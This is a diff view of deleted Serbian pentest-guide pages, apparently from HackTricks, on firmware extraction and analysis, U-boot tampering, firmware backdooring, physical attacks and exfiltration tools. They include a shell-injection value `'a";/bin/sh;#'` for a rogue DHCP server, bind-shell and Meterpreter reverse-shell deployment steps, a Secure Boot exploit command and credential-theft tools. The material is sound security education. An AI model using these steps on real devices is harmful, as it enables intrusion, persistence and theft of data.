Ako ne pronađete mnogo sa tim alatima, proverite **entropiju** slike sa `binwalk -E <bin>`, ako je entropija niska, verovatno nije enkriptovana. Ako je entropija visoka, verovatno je enkriptovana (ili kompresovana na neki način).
|
||||
|
||||
Pored toga, možete koristiti ove alate za ekstrakciju **datoteka ugrađenih unutar firmvera**:
|
||||
|
||||
{{#ref}}
|
||||
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
Ili [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) za inspekciju datoteke.
|
||||
|
||||
### Dobijanje Datotečnog Sistema
|
||||
|
||||
Sa prethodno pomenutim alatima kao što je `binwalk -ev <bin>`, trebali ste biti u mogućnosti da **izvučete datotečni sistem**.\
|
||||
Binwalk obično izvlači unutar **foldera nazvanog po tipu datotečnog sistema**, koji obično može biti jedan od sledećih: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Ručna Ekstrakcija Datotečnog Sistema
|
||||
|
||||
Ponekad, binwalk **neće imati magični bajt datotečnog sistema u svojim potpisima**. U tim slučajevima, koristite binwalk da **pronađete offset datotečnog sistema i izrežete kompresovani datotečni sistem** iz binarnog fajla i **ručno ekstraktujete** datotečni sistem prema njegovom tipu koristeći korake u nastavku.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
----------------------------------------------------------------------------- ---
|
||||
|
||||
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
|
||||
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
Pokrenite sledeću **dd komandu** za izdvajanje Squashfs datotečnog sistema.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536+0 records in
|
||||
|
||||
8257536+0 records out
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
Alternativno, sledeća komanda se takođe može izvršiti.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
- Za squashfs (koristi se u gornjem primeru)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
Fajlovi će biti u "`squashfs-root`" direktorijumu nakon toga.
|
||||
|
||||
- CPIO arhivski fajlovi
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
- Za jffs2 fajl sisteme
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- Za ubifs fajl sisteme sa NAND flešom
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## Analiza Firmvera
|
||||
|
||||
Kada se firmver dobije, važno je da se razloži kako bi se razumeo njegova struktura i potencijalne ranjivosti. Ovaj proces uključuje korišćenje različitih alata za analizu i ekstrakciju vrednih podataka iz slike firmvera.
|
||||
|
||||
### Alati za Početnu Analizu
|
||||
|
||||
Set komandi je obezbeđen za početnu inspekciju binarnog fajla (naziva `<bin>`). Ove komande pomažu u identifikaciji tipova fajlova, ekstrakciji stringova, analizi binarnih podataka i razumevanju detalja particija i fajl sistema:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #prints offsets in hexadecimal
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Da bi se procenio status enkripcije slike, **entropija** se proverava sa `binwalk -E <bin>`. Niska entropija sugeriše nedostatak enkripcije, dok visoka entropija ukazuje na moguću enkripciju ili kompresiju.
|
||||
|
||||
Za ekstrakciju **ugrađenih fajlova**, preporučuju se alati i resursi kao što su dokumentacija **file-data-carving-recovery-tools** i **binvis.io** za inspekciju fajlova.
|
||||
|
||||
### Ekstrakcija Fajl Sistema
|
||||
|
||||
Korišćenjem `binwalk -ev <bin>`, obično se može ekstraktovati fajl sistem, često u direktorijum nazvan po tipu fajl sistema (npr. squashfs, ubifs). Međutim, kada **binwalk** ne prepozna tip fajl sistema zbog nedostajućih magic bytes, ručna ekstrakcija je neophodna. To uključuje korišćenje `binwalk` za lociranje ofseta fajl sistema, a zatim `dd` komandu za izdvajanje fajl sistema:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Nakon toga, u zavisnosti od tipa datotečnog sistema (npr., squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno vađenje sadržaja.
|
||||
|
||||
### Analiza Datotečnog Sistema
|
||||
|
||||
Sa izvučenim datotečnim sistemom, počinje potraga za sigurnosnim propustima. Pažnja se posvećuje nesigurnim mrežnim demonima, hardkodiranim akreditivima, API krajnjim tačkama, funkcionalnostima servera za ažuriranje, nekompajliranom kodu, skriptama za pokretanje i kompajliranim binarnim datotekama za analizu van mreže.
|
||||
|
||||
**Ključne lokacije** i **stavke** koje treba pregledati uključuju:
|
||||
|
||||
- **etc/shadow** i **etc/passwd** za korisničke akreditive
|
||||
- SSL sertifikate i ključeve u **etc/ssl**
|
||||
- Konfiguracione i skriptne datoteke za potencijalne ranjivosti
|
||||
- Ugrađene binarne datoteke za dalju analizu
|
||||
- Uobičajene web servere i binarne datoteke IoT uređaja
|
||||
|
||||
NSeveral tools assist in uncovering sensitive information and vulnerabilities within the filesystem:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) i [**Firmwalker**](https://github.com/craigz28/firmwalker) za pretragu osetljivih informacija
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) za sveobuhvatnu analizu firmvera
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), i [**EMBA**](https://github.com/e-m-b-a/emba) za statičku i dinamičku analizu
|
||||
|
||||
### Provere Bezbednosti na Kompajliranim Binarima
|
||||
|
||||
I izvorni kod i kompajlirane binarne datoteke pronađene u datotečnom sistemu moraju se pažljivo pregledati zbog ranjivosti. Alati kao što su **checksec.sh** za Unix binarne datoteke i **PESecurity** za Windows binarne datoteke pomažu u identifikaciji nezaštićenih binarnih datoteka koje bi mogle biti iskorišćene.
|
||||
|
||||
## Emulacija Firmvera za Dinamičku Analizu
|
||||
|
||||
Proces emulacije firmvera omogućava **dinamičku analizu** ili rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na izazove sa zavisnostima hardvera ili arhitekture, ali prenos korenskog datotečnog sistema ili specifičnih binarnih datoteka na uređaj sa odgovarajućom arhitekturom i redosledom bajtova, kao što je Raspberry Pi, ili na unapred izgrađenu virtuelnu mašinu, može olakšati dalja testiranja.
|
||||
|
||||
### Emulacija Pojedinačnih Binarnih Datoteka
|
||||
|
||||
Za ispitivanje pojedinačnih programa, identifikacija redosleda bajtova programa i CPU arhitekture je ključna.
|
||||
|
||||
#### Primer sa MIPS Arhitekturom
|
||||
|
||||
Da bi se emulirala binarna datoteka MIPS arhitekture, može se koristiti komanda:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
I da instalirate potrebne alate za emulaciju:
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
Za MIPS (big-endian), koristi se `qemu-mips`, a za little-endian binarne datoteke, izbor bi bio `qemu-mipsel`.
|
||||
|
||||
#### Emulacija ARM arhitekture
|
||||
|
||||
Za ARM binarne datoteke, proces je sličan, koristeći emulator `qemu-arm` za emulaciju.
|
||||
|
||||
### Emulacija celog sistema
|
||||
|
||||
Alati kao što su [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) i drugi, olakšavaju potpunu emulaciju firmvera, automatizujući proces i pomažući u dinamičkoj analizi.
|
||||
|
||||
## Dinamička analiza u praksi
|
||||
|
||||
U ovoj fazi koristi se stvarno ili emulirano okruženje uređaja za analizu. Ključno je održati pristup shell-u operativnom sistemu i datotečnom sistemu. Emulacija možda neće savršeno oponašati interakcije hardvera, što zahteva povremena ponovna pokretanja emulacije. Analiza treba da ponovo pregleda datotečni sistem, iskoristi izložene veb stranice i mrežne usluge, i istraži ranjivosti bootloader-a. Testovi integriteta firmvera su kritični za identifikaciju potencijalnih ranjivosti backdoor-a.
|
||||
|
||||
## Tehnike analize u vreme izvođenja
|
||||
|
||||
Analiza u vreme izvođenja uključuje interakciju sa procesom ili binarnom datotekom u njenom operativnom okruženju, koristeći alate kao što su gdb-multiarch, Frida i Ghidra za postavljanje tačaka prekida i identifikaciju ranjivosti kroz fuzzing i druge tehnike.
|
||||
|
||||
## Eksploatacija binarnih datoteka i dokaz koncepta
|
||||
|
||||
Razvijanje PoC-a za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje u jezicima nižeg nivoa. Zaštite u vreme izvođenja u ugrađenim sistemima su retke, ali kada su prisutne, tehnike kao što su Return Oriented Programming (ROP) mogu biti neophodne.
|
||||
|
||||
## Pripremljeni operativni sistemi za analizu firmvera
|
||||
|
||||
Operativni sistemi kao što su [AttifyOS](https://github.com/adi0x90/attifyos) i [EmbedOS](https://github.com/scriptingxss/EmbedOS) pružaju unapred konfigurisana okruženja za testiranje bezbednosti firmvera, opremljena potrebnim alatima.
|
||||
|
||||
## Pripremljeni OS-ovi za analizu firmvera
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS je distribucija namenjena da vam pomogne u izvođenju procene bezbednosti i penetracionog testiranja uređaja Interneta stvari (IoT). Štedi vam mnogo vremena pružajući unapred konfigurisano okruženje sa svim potrebnim alatima.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Operativni sistem za testiranje bezbednosti ugrađenih sistema zasnovan na Ubuntu 18.04, unapred učitan alatima za testiranje bezbednosti firmvera.
|
||||
|
||||
## Ranjivi firmver za vežbanje
|
||||
|
||||
Da biste vežbali otkrivanje ranjivosti u firmveru, koristite sledeće ranjive projekte firmvera kao polaznu tačku.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
- Projekat Damn Vulnerable Router Firmware
|
||||
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
- Damn Vulnerable ARM Router (DVAR)
|
||||
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
- ARM-X
|
||||
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
- Azeria Labs VM 2.0
|
||||
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
- Damn Vulnerable IoT Device (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
|
||||
## Obuka i sertifikat
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,52 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Preporučeni koraci za modifikaciju konfiguracija pokretanja uređaja i bootloader-a kao što je U-boot:
|
||||
|
||||
1. **Pristup Bootloader-ovom Interpreter Shell-u**:
|
||||
|
||||
- Tokom pokretanja, pritisnite "0", razmak ili druge identifikovane "magične kodove" da biste pristupili bootloader-ovom interpreter shell-u.
|
||||
|
||||
2. **Modifikujte Boot Argumente**:
|
||||
|
||||
- Izvršite sledeće komande da dodate '`init=/bin/sh`' boot argumentima, omogućavajući izvršavanje shell komande:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
%%%
|
||||
|
||||
3. **Postavite TFTP Server**:
|
||||
|
||||
- Konfigurišite TFTP server za učitavanje slika preko lokalne mreže:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #lokalna IP adresa uređaja
|
||||
#setenv serverip 192.168.2.1 #IP adresa TFTP servera
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #proverite pristup mreži
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr uzima adresu za učitavanje fajla i ime slike na TFTP serveru
|
||||
%%%
|
||||
|
||||
4. **Iskoristite `ubootwrite.py`**:
|
||||
|
||||
- Koristite `ubootwrite.py` za pisanje U-boot slike i slanje modifikovanog firmvera za dobijanje root pristupa.
|
||||
|
||||
5. **Proverite Debug Funkcije**:
|
||||
|
||||
- Proverite da li su debug funkcije kao što su detaljno logovanje, učitavanje proizvoljnih kernela ili pokretanje sa nepouzdanih izvora omogućene.
|
||||
|
||||
6. **Opasna Hardverska Interferencija**:
|
||||
|
||||
- Budite oprezni prilikom povezivanja jednog pina na masu i interakcije sa SPI ili NAND flash čipovima tokom sekvence pokretanja uređaja, posebno pre nego što se kernel dekompresuje. Konsultujte tehnički list NAND flash čipa pre nego što kratko spojite pinove.
|
||||
|
||||
7. **Konfigurišite Rogue DHCP Server**:
|
||||
- Postavite rogue DHCP server sa zlonamernim parametrima za uređaj da bi ga usvojio tokom PXE pokretanja. Iskoristite alate kao što je Metasploit-ov (MSF) DHCP pomoćni server. Izmenite 'FILENAME' parametar sa komandom za injekciju kao što je `'a";/bin/sh;#'` da biste testirali validaciju unosa za procedure pokretanja uređaja.
|
||||
|
||||
**Napomena**: Koraci koji uključuju fizičku interakciju sa pinovima uređaja (\*označeni zvezdicama) treba da se pristupaju sa ekstremnim oprezom kako bi se izbeglo oštećenje uređaja.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,35 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Integritet firmvera
|
||||
|
||||
**Prilagođena firmvera i/ili kompajlirani binarni fajlovi mogu se otpremiti kako bi se iskoristile greške u verifikaciji integriteta ili potpisa**. Sledeći koraci se mogu pratiti za kompajlaciju backdoor bind shell-a:
|
||||
|
||||
1. Firmvera se može ekstrahovati koristeći firmware-mod-kit (FMK).
|
||||
2. Treba identifikovati arhitekturu firmvera i endijnost.
|
||||
3. Može se izgraditi cross compiler koristeći Buildroot ili druge odgovarajuće metode za okruženje.
|
||||
4. Backdoor se može izgraditi koristeći cross compiler.
|
||||
5. Backdoor se može kopirati u ekstrahovani firmware /usr/bin direktorijum.
|
||||
6. Odgovarajući QEMU binarni fajl može se kopirati u korenski sistem ekstrahovane firmvere.
|
||||
7. Backdoor se može emulirati koristeći chroot i QEMU.
|
||||
8. Backdoor se može pristupiti putem netcat-a.
|
||||
9. QEMU binarni fajl treba biti uklonjen iz korenskog sistema ekstrahovane firmvere.
|
||||
10. Modifikovana firmvera može se ponovo pakovati koristeći FMK.
|
||||
11. Backdoored firmvera može se testirati emulacijom sa alatom za analizu firmvera (FAT) i povezivanjem na IP adresu i port ciljanog backdoora koristeći netcat.
|
||||
|
||||
Ako je već dobijen root shell putem dinamičke analize, manipulacije bootloader-om ili testiranja hardverske sigurnosti, prekompajlirani zlonamerni binarni fajlovi kao što su implanti ili reverzni shell-ovi mogu se izvršiti. Automatizovani alati za payload/implant, kao što je Metasploit framework i 'msfvenom', mogu se iskoristiti koristeći sledeće korake:
|
||||
|
||||
1. Treba identifikovati arhitekturu firmvera i endijnost.
|
||||
2. Msfvenom se može koristiti za specificiranje ciljanog payload-a, IP adrese napadača, broja slušnog porta, tipa fajla, arhitekture, platforme i izlaznog fajla.
|
||||
3. Payload se može preneti na kompromitovani uređaj i osigurati da ima dozvole za izvršavanje.
|
||||
4. Metasploit se može pripremiti za obradu dolaznih zahteva pokretanjem msfconsole-a i konfigurisanjem postavki prema payload-u.
|
||||
5. Meterpreter reverzni shell može se izvršiti na kompromitovanom uređaju.
|
||||
6. Meterpreter sesije se mogu pratiti dok se otvaraju.
|
||||
7. Post-exploitation aktivnosti se mogu izvoditi.
|
||||
|
||||
Ako je moguće, ranjivosti unutar startup skripti mogu se iskoristiti za sticanje trajnog pristupa uređaju tokom ponovnog pokretanja. Ove ranjivosti se javljaju kada startup skripte referenciraju, [simbolički linkuju](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) ili zavise od koda smeštenog na nepouzdanim montiranim lokacijama kao što su SD kartice i flash volumeni koji se koriste za skladištenje podataka van root fajl sistema.
|
||||
|
||||
## Reference
|
||||
|
||||
- Za više informacija proverite [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,57 +0,0 @@
|
||||
# Fizički Napadi
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## BIOS Oporavak Lozinke i Bezbednost Sistema
|
||||
|
||||
**Resetovanje BIOS-a** može se postići na nekoliko načina. Većina matičnih ploča uključuje **bateriju** koja, kada se ukloni na oko **30 minuta**, resetuje BIOS podešavanja, uključujući lozinku. Alternativno, **jumper na matičnoj ploči** može se prilagoditi za resetovanje ovih podešavanja povezivanjem specifičnih pinova.
|
||||
|
||||
Za situacije u kojima prilagođavanje hardvera nije moguće ili praktično, **softverski alati** nude rešenje. Pokretanje sistema sa **Live CD/USB** sa distribucijama kao što je **Kali Linux** omogućava pristup alatima kao što su **_killCmos_** i **_CmosPWD_**, koji mogu pomoći u oporavku BIOS lozinke.
|
||||
|
||||
U slučajevima kada je BIOS lozinka nepoznata, pogrešno unošenje **tri puta** obično rezultira kodom greške. Ovaj kod se može koristiti na sajtovima kao što je [https://bios-pw.org](https://bios-pw.org) da bi se potencijalno povratila upotrebljiva lozinka.
|
||||
|
||||
### UEFI Bezbednost
|
||||
|
||||
Za moderne sisteme koji koriste **UEFI** umesto tradicionalnog BIOS-a, alat **chipsec** može se koristiti za analizu i modifikaciju UEFI podešavanja, uključujući onemogućavanje **Secure Boot**. To se može postići sledećom komandom:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### Analiza RAM-a i Hladni Napadi
|
||||
|
||||
RAM zadržava podatke kratko nakon isključenja napajanja, obično od **1 do 2 minuta**. Ova postojanost može se produžiti na **10 minuta** primenom hladnih supstanci, kao što je tečni azot. Tokom ovog produženog perioda, može se napraviti **memory dump** koristeći alate kao što su **dd.exe** i **volatility** za analizu.
|
||||
|
||||
### Napadi Direktnog Pristupa Memoriji (DMA)
|
||||
|
||||
**INCEPTION** je alat dizajniran za **fizičku manipulaciju memorijom** putem DMA, kompatibilan sa interfejsima kao što su **FireWire** i **Thunderbolt**. Omogućava zaobilaženje procedura prijavljivanja patchovanjem memorije da prihvati bilo koju lozinku. Međutim, nije efikasan protiv **Windows 10** sistema.
|
||||
|
||||
### Live CD/USB za Pristup Sistemu
|
||||
|
||||
Promena sistemskih binarnih fajlova kao što su **_sethc.exe_** ili **_Utilman.exe_** kopijom **_cmd.exe_** može omogućiti komandnu liniju sa sistemskim privilegijama. Alati kao što su **chntpw** mogu se koristiti za uređivanje **SAM** fajla Windows instalacije, omogućavajući promene lozinke.
|
||||
|
||||
**Kon-Boot** je alat koji olakšava prijavljivanje na Windows sisteme bez poznavanja lozinke tako što privremeno modifikuje Windows kernel ili UEFI. Više informacija može se naći na [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Rukovanje Windows Bezbednosnim Funkcijama
|
||||
|
||||
#### Prečice za Pokretanje i Oporavak
|
||||
|
||||
- **Supr**: Pristup BIOS podešavanjima.
|
||||
- **F8**: Ulazak u režim oporavka.
|
||||
- Pritiskom na **Shift** nakon Windows banera može se zaobići automatsko prijavljivanje.
|
||||
|
||||
#### BAD USB Uređaji
|
||||
|
||||
Uređaji kao što su **Rubber Ducky** i **Teensyduino** služe kao platforme za kreiranje **bad USB** uređaja, sposobnih za izvršavanje unapred definisanih payload-a kada su povezani na ciljni računar.
|
||||
|
||||
#### Volume Shadow Copy
|
||||
|
||||
Administratorske privilegije omogućavaju kreiranje kopija osetljivih fajlova, uključujući **SAM** fajl, putem PowerShell-a.
|
||||
|
||||
### Zaobilaženje BitLocker Enkripcije
|
||||
|
||||
BitLocker enkripcija može se potencijalno zaobići ako se **recovery password** pronađe unutar fajla sa memory dump-om (**MEMORY.DMP**). Alati kao što su **Elcomsoft Forensic Disk Decryptor** ili **Passware Kit Forensic** mogu se koristiti u tu svrhu.
|
||||
|
||||
### Socijalno Inženjerstvo za Dodavanje Ključa za Oporavak
|
||||
|
||||
Novi BitLocker recovery key može se dodati putem taktika socijalnog inženjeringa, ubeđujući korisnika da izvrši komandu koja dodaje novi recovery key sastavljen od nula, čime se pojednostavljuje proces dekripcije.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,16 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
## **Lokalni l00t**
|
||||
|
||||
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Ovi skripti, osim što traže PE vektore, će tražiti osetljive informacije unutar datotečnog sistema.
|
||||
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne projekat** je aplikacija otvorenog koda koja se koristi za **dobijanje velikog broja lozinki** sa lokalnog računara. Svaki softver čuva svoje lozinke koristeći različite tehnike (plaintext, API, prilagođeni algoritmi, baze podataka, itd.). Ovaj alat je razvijen sa ciljem pronalaženja ovih lozinki za najčešće korišćene softvere.
|
||||
|
||||
## **Eksterni Servisi**
|
||||
|
||||
- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Ovaj modul će se povezati na Confluence API koristeći pristupni token, eksportovati u PDF i preuzeti Confluence dokumente kojima cilj ima pristup.
|
||||
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Alat za Crveni Tim za eksfiltraciju fajlova iz Google Drive-a cilja kojem imate pristup, putem Google Drive API. Ovo uključuje sve deljene fajlove, sve fajlove iz deljenih diskova i sve fajlove iz domena kojima cilj ima pristup.
|
||||
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Alat za Crveni Tim za eksfiltraciju Google People Directory ciljne organizacije kojoj imate pristup, putem Google-ovog People API.
|
||||
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Ovo je alat razvijen u Python-u koji koristi nativne Slack API-e za ekstrakciju 'zanimljivih' informacija iz Slack radnog prostora uz pristupni token.
|
||||
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound je alat komandne linije za crvene i plave timove koji brzo obavljaju izviđanje Slack radnog prostora/organizacije. Slackhound čini prikupljanje korisnika, fajlova, poruka itd. organizacije brzo pretraživo, a veliki objekti se upisuju u CSV za offline pregled.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user